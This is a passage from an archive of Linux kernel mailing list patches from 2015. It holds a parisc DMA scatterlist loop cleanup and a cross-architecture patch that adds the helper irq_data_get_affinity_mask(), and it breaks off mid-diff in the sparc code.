        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 01 May 2015 06:57:28 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1430488603-11055-1-git-send-email-akinobu.mita@gmail.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:27412 gmane.linux.kernel:1942166 gmane.linux.ports.parisc:25715
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/27412>

This replaces the plain loop over the sglist array with for_each_sg()
macro which consists of sg_next() function calls.  Since parisc doesn't
select ARCH_HAS_SG_CHAIN, it is not necessary to use for_each_sg() in
order to loop over each sg element.  But this can help find problems
with drivers that do not properly initialize their sg tables when
CONFIG_DEBUG_SG is enabled.

Signed-off-by: Akinobu Mita <akinobu.mita@gmail.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: linux-arch@vger.kernel.org
---
* New patch from v2

 arch/parisc/kernel/pci-dma.c | 27 ++++++++++++++++-----------
 1 file changed, 16 insertions(+), 11 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index ff834fd..b9402c9 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -478,14 +478,16 @@ static void pa11_dma_unmap_single(struct device *dev, dma_addr_t dma_handle, siz
 static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
 {
 	int i;
+	struct scatterlist *sg;
 
 	BUG_ON(direction == DMA_NONE);
 
-	for (i = 0; i < nents; i++, sglist++ ) {
-		unsigned long vaddr = (unsigned long)sg_virt(sglist);
-		sg_dma_address(sglist) = (dma_addr_t) virt_to_phys(vaddr);
-		sg_dma_len(sglist) = sglist->length;
-		flush_kernel_dcache_range(vaddr, sglist->length);
+	for_each_sg(sglist, sg, nents, i) {
+		unsigned long vaddr = (unsigned long)sg_virt(sg);
+
+		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
+		sg_dma_len(sg) = sg->length;
+		flush_kernel_dcache_range(vaddr, sg->length);
 	}
 	return nents;
 }
@@ -493,6 +495,7 @@ static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist, int n
 static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
 {
 	int i;
+	struct scatterlist *sg;
 
 	BUG_ON(direction == DMA_NONE);
 
@@ -501,8 +504,8 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist, in
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_vmap_range(sg_virt(sglist), sglist->length);
+	for_each_sg(sglist, sg, nents, i)
+		flush_kernel_vmap_range(sg_virt(sg), sg->length);
 	return;
 }
 
@@ -523,21 +526,23 @@ static void pa11_dma_sync_single_for_device(struct device *dev, dma_addr_t dma_h
 static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
 {
 	int i;
+	struct scatterlist *sg;
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_vmap_range(sg_virt(sglist), sglist->length);
+	for_each_sg(sglist, sg, nents, i)
+		flush_kernel_vmap_range(sg_virt(sg), sg->length);
 }
 
 static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
 {
 	int i;
+	struct scatterlist *sg;
 
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
-	for (i = 0; i < nents; i++, sglist++ )
-		flush_kernel_vmap_range(sg_virt(sglist), sglist->length);
+	for_each_sg(sglist, sg, nents, i)
+		flush_kernel_vmap_range(sg_virt(sg), sg->length);
 }
 
 struct hppa_dma_ops pcxl_dma_ops = {
-- 
1.9.1


From - Thu Nov 08 21:37:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <jiang.liu@linux.intel.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [RFC v1 06/11] genirq: Introduce helper function irq_data_get_affinity_mask()
Date: Mon,  4 May 2015 11:15:34 +0800
Lines: 733
Approved: news@gmane.org
Message-ID: <1430709339-29083-7-git-send-email-jiang.liu@linux.intel.com>
References: <1430709339-29083-1-git-send-email-jiang.liu@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1430709445 32019 80.91.229.3 (4 May 2015 03:17:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 May 2015 03:17:25 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org,
        linux-acpi@vger.kernel.org,
        Russell King <rmk+kernel@arm.linux.org.uk>,
        Ingo Molnar <mingo@kernel.org>, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, xen-devel@lists.xenproject.org
To: Thomas Gleixner <tglx@linutronix.de>,
        Bjorn Helgaas <bhelgaas@google.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Randy Dunlap <rdunlap@infradead.org>,
        Yinghai Lu <yinghai@kernel.org>,
        Borislav Petkov <bp@alien8.de>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Steven Miao <realmz6@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        James Hogan <james.hogan@imgtec.com>,
        Ralf Baechle <ralf@linux-mips.org>,
Original-X-From: linux-mips-bounce@linux-mips.org Mon May 04 05:17:16 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Yp6sd-00082l-O8
	for sgi-linux-mips@gmane.org; Mon, 04 May 2015 05:17:15 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53796 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010638AbbEDDRKjS0Qe (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 4 May 2015 05:17:10 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 04 May 2015 05:16:56 +0200 (CEST)
Original-Received: from mga11.intel.com ([192.55.52.93]:56162 "EHLO mga11.intel.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27006535AbbEDDQyNgO5E (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 4 May 2015 05:16:54 +0200
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga102.fm.intel.com with ESMTP; 03 May 2015 20:16:48 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.13,363,1427785200"; 
   d="scan'208";a="720097519"
Original-Received: from gerry-dev.bj.intel.com ([10.238.158.61])
  by fmsmga002.fm.intel.com with ESMTP; 03 May 2015 20:16:34 -0700
X-Mailer: git-send-email 1.7.10.4
In-Reply-To: <1430709339-29083-1-git-send-email-jiang.liu@linux.intel.com>
X-archive-position: 47220
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jiang.liu@linux.intel.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:48371 gmane.linux.kernel:1943631 gmane.linux.kernel.pci:41204 gmane.linux.acpi.devel:75176 gmane.linux.ports.alpha:3061 gmane.linux.ports.arm.kernel:410050 gmane.linux.ports.ia64:25460 gmane.linux.kernel.metag:499 gmane.linux.ports.parisc:25716 gmane.linux.ports.ppc64.devel:112433 gmane.linux.ports.sh.devel:45609 gmane.linux.ports.sparc:21009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/48371>

Introduce helper function irq_data_get_affinity_mask() and
irq_get_affinity_mask() to hide implementation details,
so we could move field 'affinity' from struct irq_data into
struct irq_common_data later.

Signed-off-by: Jiang Liu <jiang.liu@linux.intel.com>
---
 arch/alpha/kernel/irq.c                   |    2 +-
 arch/arm/kernel/irq.c                     |    4 ++--
 arch/arm64/kernel/irq.c                   |    4 ++--
 arch/blackfin/mach-common/ints-priority.c |    3 ++-
 arch/ia64/kernel/iosapic.c                |    2 +-
 arch/ia64/kernel/irq.c                    |    6 +++---
 arch/ia64/kernel/msi_ia64.c               |    4 ++--
 arch/ia64/sn/kernel/msi_sn.c              |    2 +-
 arch/metag/kernel/irq.c                   |   10 ++++++----
 arch/mips/bcm63xx/irq.c                   |    2 +-
 arch/mips/cavium-octeon/octeon-irq.c      |   14 ++++++++------
 arch/mips/pmcs-msp71xx/msp_irq_cic.c      |    3 ++-
 arch/mn10300/kernel/cevt-mn10300.c        |    2 +-
 arch/mn10300/kernel/irq.c                 |   13 +++++++------
 arch/parisc/kernel/irq.c                  |   12 ++++++------
 arch/powerpc/kernel/irq.c                 |    2 +-
 arch/powerpc/sysdev/xics/ics-opal.c       |    2 +-
 arch/powerpc/sysdev/xics/ics-rtas.c       |    2 +-
 arch/sh/kernel/irq.c                      |    7 ++++---
 arch/sparc/kernel/irq_64.c                |   12 +++++++-----
 arch/sparc/kernel/leon_kernel.c           |    6 +++---
 arch/x86/kernel/apic/io_apic.c            |    2 +-
 arch/x86/kernel/apic/vector.c             |    5 ++---
 arch/x86/kernel/irq.c                     |    5 +++--
 arch/xtensa/kernel/irq.c                  |   10 ++++++----
 drivers/irqchip/irq-mips-gic.c            |    2 +-
 drivers/parisc/iosapic.c                  |    2 +-
 drivers/sh/intc/chip.c                    |    6 +++---
 drivers/xen/events/events_base.c          |    4 ++--
 include/linux/irq.h                       |   11 +++++++++++
 30 files changed, 92 insertions(+), 69 deletions(-)

diff --git a/arch/alpha/kernel/irq.c b/arch/alpha/kernel/irq.c
index 7b2be251c30f..bd8e47699cad 100644
--- a/arch/alpha/kernel/irq.c
+++ b/arch/alpha/kernel/irq.c
@@ -60,7 +60,7 @@ int irq_select_affinity(unsigned int irq)
 		cpu = (cpu < (NR_CPUS-1) ? cpu + 1 : 0);
 	last_cpu = cpu;
 
-	cpumask_copy(data->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_data_get_affinity_mask(data), cpumask_of(cpu));
 	chip->irq_set_affinity(data, cpumask_of(cpu), false);
 	return 0;
 }
diff --git a/arch/arm/kernel/irq.c b/arch/arm/kernel/irq.c
index 350f188c92d2..baf8edebe26f 100644
--- a/arch/arm/kernel/irq.c
+++ b/arch/arm/kernel/irq.c
@@ -140,7 +140,7 @@ int __init arch_probe_nr_irqs(void)
 static bool migrate_one_irq(struct irq_desc *desc)
 {
 	struct irq_data *d = irq_desc_get_irq_data(desc);
-	const struct cpumask *affinity = d->affinity;
+	const struct cpumask *affinity = irq_data_get_affinity_mask(d);
 	struct irq_chip *c;
 	bool ret = false;
 
@@ -160,7 +160,7 @@ static bool migrate_one_irq(struct irq_desc *desc)
 	if (!c->irq_set_affinity)
 		pr_debug("IRQ%u: unable to set affinity\n", d->irq);
 	else if (c->irq_set_affinity(d, affinity, false) == IRQ_SET_MASK_OK && ret)
-		cpumask_copy(d->affinity, affinity);
+		cpumask_copy(irq_data_get_affinity_mask(d), affinity);
 
 	return ret;
 }
diff --git a/arch/arm64/kernel/irq.c b/arch/arm64/kernel/irq.c
index 240b75c0e94f..463fa2e7e34c 100644
--- a/arch/arm64/kernel/irq.c
+++ b/arch/arm64/kernel/irq.c
@@ -61,7 +61,7 @@ void __init init_IRQ(void)
 static bool migrate_one_irq(struct irq_desc *desc)
 {
 	struct irq_data *d = irq_desc_get_irq_data(desc);
-	const struct cpumask *affinity = d->affinity;
+	const struct cpumask *affinity = irq_data_get_affinity_mask(d);
 	struct irq_chip *c;
 	bool ret = false;
 
@@ -81,7 +81,7 @@ static bool migrate_one_irq(struct irq_desc *desc)
 	if (!c->irq_set_affinity)
 		pr_debug("IRQ%u: unable to set affinity\n", d->irq);
 	else if (c->irq_set_affinity(d, affinity, false) == IRQ_SET_MASK_OK && ret)
-		cpumask_copy(d->affinity, affinity);
+		cpumask_copy(irq_data_get_affinity_mask(d), affinity);
 
 	return ret;
 }
diff --git a/arch/blackfin/mach-common/ints-priority.c b/arch/blackfin/mach-common/ints-priority.c
index 7236bdfc71e6..332a434b4669 100644
--- a/arch/blackfin/mach-common/ints-priority.c
+++ b/arch/blackfin/mach-common/ints-priority.c
@@ -194,7 +194,8 @@ void bfin_internal_unmask_irq(unsigned int irq)
 #ifdef CONFIG_SMP
 static void bfin_internal_unmask_irq_chip(struct irq_data *d)
 {
-	bfin_internal_unmask_irq_affinity(d->irq, d->affinity);
+	bfin_internal_unmask_irq_affinity(d->irq,
+					  irq_data_get_affinity_mask(d));
 }
 
 static int bfin_internal_set_affinity(struct irq_data *d,
diff --git a/arch/ia64/kernel/iosapic.c b/arch/ia64/kernel/iosapic.c
index bc9501e36e77..4d2698d43c39 100644
--- a/arch/ia64/kernel/iosapic.c
+++ b/arch/ia64/kernel/iosapic.c
@@ -838,7 +838,7 @@ iosapic_unregister_intr (unsigned int gsi)
 	if (iosapic_intr_info[irq].count == 0) {
 #ifdef CONFIG_SMP
 		/* Clear affinity */
-		cpumask_setall(irq_get_irq_data(irq)->affinity);
+		cpumask_setall(irq_get_affinity_mask(irq));
 #endif
 		/* Clear the interrupt information */
 		iosapic_intr_info[irq].dest = 0;
diff --git a/arch/ia64/kernel/irq.c b/arch/ia64/kernel/irq.c
index 812a1e6b3179..de4fc00dea98 100644
--- a/arch/ia64/kernel/irq.c
+++ b/arch/ia64/kernel/irq.c
@@ -67,7 +67,7 @@ static char irq_redir [NR_IRQS]; // = { [0 ... NR_IRQS-1] = 1 };
 void set_irq_affinity_info (unsigned int irq, int hwid, int redir)
 {
 	if (irq < NR_IRQS) {
-		cpumask_copy(irq_get_irq_data(irq)->affinity,
+		cpumask_copy(irq_get_affinity_mask(irq),
 			     cpumask_of(cpu_logical_id(hwid)));
 		irq_redir[irq] = (char) (redir & 0xff);
 	}
@@ -119,8 +119,8 @@ static void migrate_irqs(void)
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (cpumask_any_and(data->affinity, cpu_online_mask)
-		    >= nr_cpu_ids) {
+		if (cpumask_any_and(irq_data_get_affinity_mask(data),
+				    cpu_online_mask) >= nr_cpu_ids) {
 			/*
 			 * Save it for phase 2 processing
 			 */
diff --git a/arch/ia64/kernel/msi_ia64.c b/arch/ia64/kernel/msi_ia64.c
index d70bf15c690a..6c50d332b7d7 100644
--- a/arch/ia64/kernel/msi_ia64.c
+++ b/arch/ia64/kernel/msi_ia64.c
@@ -36,7 +36,7 @@ static int ia64_set_msi_irq_affinity(struct irq_data *idata,
 	msg.data = data;
 
 	pci_write_msi_msg(irq, &msg);
-	cpumask_copy(idata->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_data_get_affinity_mask(idata), cpumask_of(cpu));
 
 	return 0;
 }
@@ -148,7 +148,7 @@ static int dmar_msi_set_affinity(struct irq_data *data,
 	msg.address_lo |= MSI_ADDR_DEST_ID_CPU(cpu_physical_id(cpu));
 
 	dmar_msi_write(irq, &msg);
-	cpumask_copy(data->affinity, mask);
+	cpumask_copy(irq_data_get_affinity_mask(data), mask);
 
 	return 0;
 }
diff --git a/arch/ia64/sn/kernel/msi_sn.c b/arch/ia64/sn/kernel/msi_sn.c
index a0eb27b66d13..42b5a13af142 100644
--- a/arch/ia64/sn/kernel/msi_sn.c
+++ b/arch/ia64/sn/kernel/msi_sn.c
@@ -206,7 +206,7 @@ static int sn_set_msi_irq_affinity(struct irq_data *data,
 	msg.address_lo = (u32)(bus_addr & 0x00000000ffffffff);
 
 	pci_write_msi_msg(irq, &msg);
-	cpumask_copy(data->affinity, cpu_mask);
+	cpumask_copy(irq_data_get_affinity_mask(data), cpu_mask);
 
 	return 0;
 }
diff --git a/arch/metag/kernel/irq.c b/arch/metag/kernel/irq.c
index 4f8f1f87ef11..a336094a7a6c 100644
--- a/arch/metag/kernel/irq.c
+++ b/arch/metag/kernel/irq.c
@@ -270,23 +270,25 @@ void migrate_irqs(void)
 
 	for_each_active_irq(i) {
 		struct irq_data *data = irq_get_irq_data(i);
+		struct cpumask *mask;
 		unsigned int newcpu;
 
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		mask = irq_data_get_affinity_mask(data);
+		if (!cpumask_test_cpu(cpu, mask))
 			continue;
 
-		newcpu = cpumask_any_and(data->affinity, cpu_online_mask);
+		newcpu = cpumask_any_and(mask, cpu_online_mask);
 
 		if (newcpu >= nr_cpu_ids) {
 			pr_info_ratelimited("IRQ%u no longer affine to CPU%u\n",
 					    i, cpu);
 
-			cpumask_setall(data->affinity);
+			cpumask_setall(mask);
 		}
-		irq_set_affinity(i, data->affinity);
+		irq_set_affinity(i, mask);
 	}
 }
 #endif /* CONFIG_HOTPLUG_CPU */
diff --git a/arch/mips/bcm63xx/irq.c b/arch/mips/bcm63xx/irq.c
index e3e808a6c542..02983b90826d 100644
--- a/arch/mips/bcm63xx/irq.c
+++ b/arch/mips/bcm63xx/irq.c
@@ -60,7 +60,7 @@ static inline int enable_irq_for_cpu(int cpu, struct irq_data *d,
 	if (m)
 		enable &= cpumask_test_cpu(cpu, m);
 	else if (irqd_affinity_was_set(d))
-		enable &= cpumask_test_cpu(cpu, d->affinity);
+		enable &= cpumask_test_cpu(cpu, irq_data_get_affinity_mask(d));
 #endif
 	return enable;
 }
diff --git a/arch/mips/cavium-octeon/octeon-irq.c b/arch/mips/cavium-octeon/octeon-irq.c
index 10f762557b92..0643ae614284 100644
--- a/arch/mips/cavium-octeon/octeon-irq.c
+++ b/arch/mips/cavium-octeon/octeon-irq.c
@@ -225,13 +225,14 @@ static int next_cpu_for_irq(struct irq_data *data)
 
 #ifdef CONFIG_SMP
 	int cpu;
-	int weight = cpumask_weight(data->affinity);
+	struct cpumask *mask = irq_data_get_affinity_mask(data);
+	int weight = cpumask_weight(mask);
 	struct octeon_ciu_chip_data *cd = irq_data_get_irq_chip_data(data);
 
 	if (weight > 1) {
 		cpu = cd->current_cpu;
 		for (;;) {
-			cpu = cpumask_next(cpu, data->affinity);
+			cpu = cpumask_next(cpu, mask);
 			if (cpu >= nr_cpu_ids) {
 				cpu = -1;
 				continue;
@@ -240,7 +241,7 @@ static int next_cpu_for_irq(struct irq_data *data)
 			}
 		}
 	} else if (weight == 1) {
-		cpu = cpumask_first(data->affinity);
+		cpu = cpumask_first(mask);
 	} else {
 		cpu = smp_processor_id();
 	}
@@ -710,16 +711,17 @@ static void octeon_irq_cpu_offline_ciu(struct irq_data *data)
 {
 	int cpu = smp_processor_id();
 	cpumask_t new_affinity;
+	struct cpumask *mask = irq_data_get_affinity_mask(data);
 
-	if (!cpumask_test_cpu(cpu, data->affinity))
+	if (!cpumask_test_cpu(cpu, mask))
 		return;
 
-	if (cpumask_weight(data->affinity) > 1) {
+	if (cpumask_weight(mask) > 1) {
 		/*
 		 * It has multi CPU affinity, just remove this CPU
 		 * from the affinity set.
 		 */
-		cpumask_copy(&new_affinity, data->affinity);
+		cpumask_copy(&new_affinity, mask);
 		cpumask_clear_cpu(cpu, &new_affinity);
 	} else {
 		/* Otherwise, put it on lowest numbered online CPU. */
diff --git a/arch/mips/pmcs-msp71xx/msp_irq_cic.c b/arch/mips/pmcs-msp71xx/msp_irq_cic.c
index 1207ec4dfb77..8b9cf6463040 100644
--- a/arch/mips/pmcs-msp71xx/msp_irq_cic.c
+++ b/arch/mips/pmcs-msp71xx/msp_irq_cic.c
@@ -88,7 +88,8 @@ static void unmask_cic_irq(struct irq_data *d)
 	* Make sure we have IRQ affinity.  It may have changed while
 	* we were processing the IRQ.
 	*/
-	if (!cpumask_test_cpu(smp_processor_id(), d->affinity))
+	if (!cpumask_test_cpu(smp_processor_id(),
+			      irq_data_get_affinity_mask(d)))
 		return;
 #endif
 
diff --git a/arch/mn10300/kernel/cevt-mn10300.c b/arch/mn10300/kernel/cevt-mn10300.c
index 60f64ca1752a..326677d4a3b2 100644
--- a/arch/mn10300/kernel/cevt-mn10300.c
+++ b/arch/mn10300/kernel/cevt-mn10300.c
@@ -123,7 +123,7 @@ int __init init_clockevents(void)
 	{
 		struct irq_data *data;
 		data = irq_get_irq_data(cd->irq);
-		cpumask_copy(data->affinity, cpumask_of(cpu));
+		cpumask_copy(irq_data_get_affinity_mask(data), cpumask_of(cpu));
 		iact->flags |= IRQF_NOBALANCING;
 	}
 #endif
diff --git a/arch/mn10300/kernel/irq.c b/arch/mn10300/kernel/irq.c
index 480de70f4059..c716437baa2c 100644
--- a/arch/mn10300/kernel/irq.c
+++ b/arch/mn10300/kernel/irq.c
@@ -87,7 +87,8 @@ static void mn10300_cpupic_mask_ack(struct irq_data *d)
 		tmp2 = GxICR(irq);
 
 		irq_affinity_online[irq] =
-			cpumask_any_and(d->affinity, cpu_online_mask);
+			cpumask_any_and(irq_data_get_affinity_mask(d),
+					cpu_online_mask);
 		CROSS_GxICR(irq, irq_affinity_online[irq]) =
 			(tmp & (GxICR_LEVEL | GxICR_ENABLE)) | GxICR_DETECT;
 		tmp = CROSS_GxICR(irq, irq_affinity_online[irq]);
@@ -124,7 +125,7 @@ static void mn10300_cpupic_unmask_clear(struct irq_data *d)
 	} else {
 		tmp = GxICR(irq);
 
-		irq_affinity_online[irq] = cpumask_any_and(d->affinity,
+		irq_affinity_online[irq] = cpumask_any_and(irq_data_get_affinity_mask(d),
 							   cpu_online_mask);
 		CROSS_GxICR(irq, irq_affinity_online[irq]) = (tmp & GxICR_LEVEL) | GxICR_ENABLE | GxICR_DETECT;
 		tmp = CROSS_GxICR(irq, irq_affinity_online[irq]);
@@ -316,15 +317,16 @@ void migrate_irqs(void)
 	self = smp_processor_id();
 	for (irq = 0; irq < NR_IRQS; irq++) {
 		struct irq_data *data = irq_get_irq_data(irq);
+		struct cpumask *mask = irq_data_get_affinity_mask(data);
 
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (cpumask_test_cpu(self, data->affinity) &&
+		if (cpumask_test_cpu(self, mask) &&
 		    !cpumask_intersects(&irq_affinity[irq], cpu_online_mask)) {
 			int cpu_id;
 			cpu_id = cpumask_first(cpu_online_mask);
-			cpumask_set_cpu(cpu_id, data->affinity);
+			cpumask_set_cpu(cpu_id, mask);
 		}
 		/* We need to operate irq_affinity_online atomically. */
 		arch_local_cli_save(flags);
@@ -335,8 +337,7 @@ void migrate_irqs(void)
 			GxICR(irq) = x & GxICR_LEVEL;
 			tmp = GxICR(irq);
 
-			new = cpumask_any_and(data->affinity,
-					      cpu_online_mask);
+			new = cpumask_any_and(mask, cpu_online_mask);
 			irq_affinity_online[irq] = new;
 
 			CROSS_GxICR(irq, new) =
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index f3191db6e2e9..413ec3c3f9cc 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -131,7 +131,7 @@ static int cpu_set_affinity_irq(struct irq_data *d, const struct cpumask *dest,
 	if (cpu_dest < 0)
 		return -1;
 
-	cpumask_copy(d->affinity, dest);
+	cpumask_copy(irq_data_get_affinity_mask(d), dest);
 
 	return 0;
 }
@@ -339,7 +339,7 @@ unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
 	struct irq_data *d = irq_get_irq_data(irq);
-	cpumask_copy(d->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -508,7 +508,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	unsigned long eirr_val;
 	int irq, cpu = smp_processor_id();
 #ifdef CONFIG_SMP
-	struct irq_desc *desc;
+	struct irq_data *irq_data;
 	cpumask_t dest;
 #endif
 
@@ -522,9 +522,9 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	desc = irq_to_desc(irq);
-	cpumask_copy(&dest, desc->irq_data.affinity);
-	if (irqd_is_per_cpu(&desc->irq_data) &&
+	irq_data = irq_get_irq_data(irq);
+	cpumask_copy(&dest, irq_data_get_affinity_mask(irq_data));
+	if (irqd_is_per_cpu(irq_data) &&
 	    !cpumask_test_cpu(smp_processor_id(), &dest)) {
 		int cpu = cpumask_first(&dest);
 
diff --git a/arch/powerpc/kernel/irq.c b/arch/powerpc/kernel/irq.c
index 45096033d37b..290559df1e8b 100644
--- a/arch/powerpc/kernel/irq.c
+++ b/arch/powerpc/kernel/irq.c
@@ -441,7 +441,7 @@ void migrate_irqs(void)
 
 		chip = irq_data_get_irq_chip(data);
 
-		cpumask_and(mask, data->affinity, map);
+		cpumask_and(mask, irq_data_get_affinity_mask(data), map);
 		if (cpumask_any(mask) >= nr_cpu_ids) {
 			pr_warn("Breaking affinity for irq %i\n", irq);
 			cpumask_copy(mask, map);
diff --git a/arch/powerpc/sysdev/xics/ics-opal.c b/arch/powerpc/sysdev/xics/ics-opal.c
index 68c7e5cc98e0..3996393c254d 100644
--- a/arch/powerpc/sysdev/xics/ics-opal.c
+++ b/arch/powerpc/sysdev/xics/ics-opal.c
@@ -54,7 +54,7 @@ static void ics_opal_unmask_irq(struct irq_data *d)
 	if (hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS)
 		return;
 
-	server = xics_get_irq_server(d->irq, d->affinity, 0);
+	server = xics_get_irq_server(d->irq, irq_data_get_affinity_mask(d), 0);
 	server = ics_opal_mangle_server(server);
 
 	rc = opal_set_xive(hw_irq, server, DEFAULT_PRIORITY);
diff --git a/arch/powerpc/sysdev/xics/ics-rtas.c b/arch/powerpc/sysdev/xics/ics-rtas.c
index 0af97deb83f3..e2665a9dfc0f 100644
--- a/arch/powerpc/sysdev/xics/ics-rtas.c
+++ b/arch/powerpc/sysdev/xics/ics-rtas.c
@@ -47,7 +47,7 @@ static void ics_rtas_unmask_irq(struct irq_data *d)
 	if (hw_irq == XICS_IPI || hw_irq == XICS_IRQ_SPURIOUS)
 		return;
 
-	server = xics_get_irq_server(d->irq, d->affinity, 0);
+	server = xics_get_irq_server(d->irq, irq_data_get_affinity_mask(d), 0);
 
 	call_status = rtas_call(ibm_set_xive, 3, 1, NULL, hw_irq, server,
 				DEFAULT_PRIORITY);
diff --git a/arch/sh/kernel/irq.c b/arch/sh/kernel/irq.c
index 8dc677cc136b..6c0378c0b8b5 100644
--- a/arch/sh/kernel/irq.c
+++ b/arch/sh/kernel/irq.c
@@ -228,15 +228,16 @@ void migrate_irqs(void)
 		struct irq_data *data = irq_get_irq_data(irq);
 
 		if (irq_data_get_node(data) == cpu) {
-			unsigned int newcpu = cpumask_any_and(data->affinity,
+			struct cpumask *mask = irq_data_get_affinity_mask(data);
+			unsigned int newcpu = cpumask_any_and(mask,
 							      cpu_online_mask);
 			if (newcpu >= nr_cpu_ids) {
 				pr_info_ratelimited("IRQ%u no longer affine to CPU%u\n",
 						    irq, cpu);
 
-				cpumask_setall(data->affinity);
+				cpumask_setall(mask);
 			}
-			irq_set_affinity(irq, data->affinity);
+			irq_set_affinity(irq, mask);
 		}
 	}
 }
diff --git a/arch/sparc/kernel/irq_64.c b/arch/sparc/kernel/irq_64.c
index 5130f6e3e68e..e22416ce56ea 100644
--- a/arch/sparc/kernel/irq_64.c
+++ b/arch/sparc/kernel/irq_64.c
